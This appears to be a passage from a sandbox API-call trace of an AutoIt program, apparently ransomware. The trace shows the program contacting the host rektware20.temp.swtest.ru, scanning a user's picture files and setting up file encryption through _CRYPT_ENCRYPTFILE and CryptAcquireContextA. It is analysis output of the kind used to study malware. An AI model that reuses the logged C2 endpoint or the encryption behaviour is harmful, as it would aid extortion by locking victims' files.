HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.725] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0060.725] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0060.725] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0060.725] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0060.725] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0060.726] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.726] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.726] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.726] CloseHandle (hObject=0x0) returned 0 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cPLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PLOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OC5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JnNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nNq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nq\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bPy7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Py7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.748] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.748] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0060.748] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.748] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0060.748] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0060.748] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.748] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0060.748] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0060.748] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c) returned 1 [0060.748] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.748] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.748] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.749] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0060.749] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0060.749] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0060.749] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0060.749] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0060.749] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.749] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.749] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.749] CloseHandle (hObject=0x0) returned 0 [0060.750] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.750] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0060.750] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0060.750] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.750] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.750] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.750] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.750] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.750] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.750] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0060.750] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.750] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.750] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0060.750] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.751] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.751] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.751] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.751] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.751] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0060.751] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0060.751] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0060.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0060.752] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0060.752] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9e78) returned 1 [0060.752] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.752] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.752] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0060.752] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.753] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.753] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.753] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0060.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.753] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.753] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.753] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.753] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.753] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.753] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.753] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.754] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.754] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.754] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.754] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.754] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 